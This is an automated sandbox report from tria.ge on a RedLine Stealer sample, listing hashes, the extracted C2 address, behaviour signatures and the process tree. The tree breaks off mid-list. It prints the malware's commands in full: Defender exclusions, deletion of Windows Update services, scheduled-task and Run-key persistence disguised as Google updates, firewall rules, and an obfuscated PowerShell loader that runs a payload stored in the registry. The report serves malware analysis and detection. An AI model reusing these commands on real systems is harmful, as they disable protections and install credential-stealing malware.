Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    261s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/11/2022, 09:09

General

  • Target

    409cd2191cd5207704f590ca05b3ecd94bfe086f09c4aa87422e4126f04cab14.exe

  • Size

    2.4MB

  • MD5

    c1fe936433eb4be74eef3e7095f42d77

  • SHA1

    b997230735a2a033647425441f908cb906047523

  • SHA256

    409cd2191cd5207704f590ca05b3ecd94bfe086f09c4aa87422e4126f04cab14

  • SHA512

    e33c1fec65c97cd2c5dabeb460ef83e2102201d9d9cf1c2789b7dfa65e2bb6063b927612a7bfc7eff234fc70ee14802af4fe134b8abeb00c4f6fea2adda8e7a6

  • SSDEEP

    24576:cBqYYgYPXQh8RMpJRh9dM46/uN9X5koyLSAOtSL2SxgCl3RuQ55313V:cBmsIoyLSAOtSll3T

Malware Config

Extracted

Family

redline

Botnet

@mnogokupurbolshoykarman

C2

77.73.134.24:80

Attributes
  • auth_value

    b555cfd27c33c447be45d0969d5f35d8

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs 3 IoCs
  • Stops running service(s) 3 TTPs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 7 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 5 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:636
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:584
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
          • Suspicious use of FindShellTrayWindow
          PID:988
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a50cddda-4fa9-420e-8041-c56dd5cee3a7}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4404
        • C:\Windows\SysWOW64\dllhost.exe
          C:\Windows\SysWOW64\dllhost.exe /Processid:{320035ed-0e86-4d9d-bd7a-63aad3124fb0}
          2⤵
            PID:5052
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:720
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:904
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
              1⤵
                PID:2616
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                1⤵
                  PID:3188
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                  1⤵
                    PID:4996
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                    1⤵
                      PID:3592
                    • C:\Windows\system32\DllHost.exe
                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                      1⤵
                        PID:2240
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -u -p 2240 -s 784
                          2⤵
                          • Program crash
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3328
                      • C:\Users\Admin\AppData\Local\Temp\409cd2191cd5207704f590ca05b3ecd94bfe086f09c4aa87422e4126f04cab14.exe
                        "C:\Users\Admin\AppData\Local\Temp\409cd2191cd5207704f590ca05b3ecd94bfe086f09c4aa87422e4126f04cab14.exe"
                        1⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:3668
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4476
                          • C:\Users\Admin\AppData\Local\Microsoft\brave.exe
                            "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Drops file in Program Files directory
                            • Suspicious use of WriteProcessMemory
                            PID:3616
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5064
                            • C:\Windows\SYSTEM32\cmd.exe
                              cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              4⤵
                              • Suspicious use of WriteProcessMemory
                              PID:824
                              • C:\Windows\system32\sc.exe
                                sc stop WaaSMedicSvc
                                5⤵
                                • Launches sc.exe
                                PID:4832
                              • C:\Windows\system32\sc.exe
                                sc stop UsoSvc
                                5⤵
                                • Launches sc.exe
                                PID:2148
                              • C:\Windows\system32\sc.exe
                                sc stop wuauserv
                                5⤵
                                • Launches sc.exe
                                PID:4904
                              • C:\Windows\system32\sc.exe
                                sc stop bits
                                5⤵
                                • Launches sc.exe
                                PID:1144
                              • C:\Windows\system32\sc.exe
                                sc stop dosvc
                                5⤵
                                • Launches sc.exe
                                PID:3152
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                5⤵
                                  PID:288
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                  5⤵
                                    PID:4796
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                    5⤵
                                      PID:2664
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                      5⤵
                                      • Modifies security service
                                      PID:2232
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                      5⤵
                                        PID:2488
                                    • C:\Windows\SYSTEM32\cmd.exe
                                      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:3340
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -hibernate-timeout-ac 0
                                        5⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2840
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -hibernate-timeout-dc 0
                                        5⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:60
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -standby-timeout-ac 0
                                        5⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3632
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -standby-timeout-dc 0
                                        5⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4008
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                                      4⤵
                                        PID:3328
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5100
                                        • C:\Windows\system32\schtasks.exe
                                          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                                          5⤵
                                            PID:3020
                                        • C:\Windows\system32\dialer.exe
                                          C:\Windows\system32\dialer.exe
                                          4⤵
                                          • Drops file in Windows directory
                                          PID:4288
                                      • C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
                                        "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • Drops file in Windows directory
                                        • Suspicious use of WriteProcessMemory
                                        PID:4860
                                        • C:\Windows\SysWOW64\SCHTASKS.exe
                                          SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
                                          4⤵
                                          • Creates scheduled task(s)
                                          PID:4508
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4708
                                        • C:\Windows\SysWOW64\SCHTASKS.exe
                                          SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
                                          4⤵
                                          • Creates scheduled task(s)
                                          PID:300
                                        • C:\Windows\GoogleUpdate.exe
                                          C:\Windows\GoogleUpdate.exe
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of WriteProcessMemory
                                          PID:96
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
                                            5⤵
                                            • Modifies Windows Firewall
                                            PID:492
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
                                            5⤵
                                            • Modifies Windows Firewall
                                            PID:1620
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              6⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:4672
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
                                            5⤵
                                            • Modifies Windows Firewall
                                            PID:648
                                      • C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
                                        "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of WriteProcessMemory
                                        PID:4464
                                        • C:\Windows\SYSTEM32\cmd.exe
                                          "cmd.exe" /C schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                          4⤵
                                            PID:4672
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                              5⤵
                                              • Creates scheduled task(s)
                                              PID:4652
                                        • C:\Users\Admin\AppData\Local\Temp\conhost.exe
                                          "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:5088
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            "cmd.exe" /C schtasks /create /tn \yr2l5dk31e /tr "C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:4944
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /create /tn \yr2l5dk31e /tr "C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                              5⤵
                                              • Creates scheduled task(s)
                                              PID:2808
                                    • C:\Windows\system32\DllHost.exe
                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                      1⤵
                                        PID:3636
                                        • C:\Windows\system32\WerFault.exe
                                          C:\Windows\system32\WerFault.exe -u -p 3636 -s 904
                                          2⤵
                                          • Program crash
                                          PID:4896
                                      • C:\Windows\System32\RuntimeBroker.exe
                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                        1⤵
                                          PID:3488
                                        • C:\Windows\Explorer.EXE
                                          C:\Windows\Explorer.EXE
                                          1⤵
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          PID:3048
                                        • c:\windows\system32\taskhostw.exe
                                          taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                                          1⤵
                                            PID:2736
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                            1⤵
                                              PID:2636
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                              1⤵
                                                PID:2628
                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                1⤵
                                                • Drops file in System32 directory
                                                • Modifies data under HKEY_USERS
                                                PID:2608
                                              • c:\windows\system32\svchost.exe
                                                c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                1⤵
                                                  PID:2576
                                                • c:\windows\system32\svchost.exe
                                                  c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                  1⤵
                                                    PID:2568
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                    1⤵
                                                      PID:2492
                                                    • c:\windows\system32\sihost.exe
                                                      sihost.exe
                                                      1⤵
                                                        PID:2468
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                        1⤵
                                                          PID:2396
                                                        • c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                          1⤵
                                                            PID:2364
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                            1⤵
                                                              PID:2356
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                              1⤵
                                                                PID:2156
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                                1⤵
                                                                  PID:2052
                                                                • C:\Windows\System32\spoolsv.exe
                                                                  C:\Windows\System32\spoolsv.exe
                                                                  1⤵
                                                                    PID:2012
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                                    1⤵
                                                                      PID:1880
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                      1⤵
                                                                        PID:1872
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                                        1⤵
                                                                          PID:1832
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                                          1⤵
                                                                            PID:1768
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                                            1⤵
                                                                              PID:1760
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                                              1⤵
                                                                                PID:1632
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                                                                1⤵
                                                                                  PID:1580
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                                                                  1⤵
                                                                                    PID:1556
                                                                                  • c:\windows\system32\svchost.exe
                                                                                    c:\windows\system32\svchost.exe -k localservice -s FontCache
                                                                                    1⤵
                                                                                      PID:1504
                                                                                    • c:\windows\system32\svchost.exe
                                                                                      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                                                                      1⤵
                                                                                        PID:1488
                                                                                      • c:\windows\system32\svchost.exe
                                                                                        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                                                                        1⤵
                                                                                          PID:1412
                                                                                        • c:\windows\system32\svchost.exe
                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                          1⤵
                                                                                            PID:1400
                                                                                          • c:\windows\system32\svchost.exe
                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                            1⤵
                                                                                              PID:1348
                                                                                            • c:\windows\system32\svchost.exe
                                                                                              c:\windows\system32\svchost.exe -k localservice -s nsi
                                                                                              1⤵
                                                                                                PID:1304
                                                                                              • c:\windows\system32\svchost.exe
                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                1⤵
                                                                                                  PID:1212
                                                                                                • c:\windows\system32\svchost.exe
                                                                                                  c:\windows\system32\svchost.exe -k localservice -s EventSystem
                                                                                                  1⤵
                                                                                                    PID:1204
                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                    c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                                                                                                    1⤵
                                                                                                      PID:1160
                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                      1⤵
                                                                                                        PID:1100
                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                        1⤵
                                                                                                          PID:848
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                            C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                                                                                            2⤵
                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                            • Drops file in System32 directory
                                                                                                            • Suspicious use of SetThreadContext
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2896
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:4384
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                                                                                              2⤵
                                                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                              • Drops file in System32 directory
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:4856
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                3⤵
                                                                                                                  PID:3908
                                                                                                              • C:\Program Files\Google\Chrome\updater.exe
                                                                                                                "C:\Program Files\Google\Chrome\updater.exe"
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                • Drops file in Program Files directory
                                                                                                                PID:4836
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                  3⤵
                                                                                                                  • Drops file in System32 directory
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:4232
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                                                                                                                  3⤵
                                                                                                                  • Drops file in System32 directory
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:3808
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                  3⤵
                                                                                                                    PID:4924
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                                                    3⤵
                                                                                                                      PID:4844
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                                                                                                      3⤵
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      PID:1120
                                                                                                                    • C:\Windows\system32\dialer.exe
                                                                                                                      C:\Windows\system32\dialer.exe xtrjicqmdliu
                                                                                                                      3⤵
                                                                                                                        PID:864
                                                                                                                      • C:\Windows\system32\dialer.exe
                                                                                                                        C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
                                                                                                                        3⤵
                                                                                                                          PID:2404
                                                                                                                      • C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:2752
                                                                                                                      • C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:3816
                                                                                                                      • C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:5668
                                                                                                                      • C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:7756
                                                                                                                      • C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\yr2l5dk31e\svcupdater.exe
                                                                                                                        2⤵
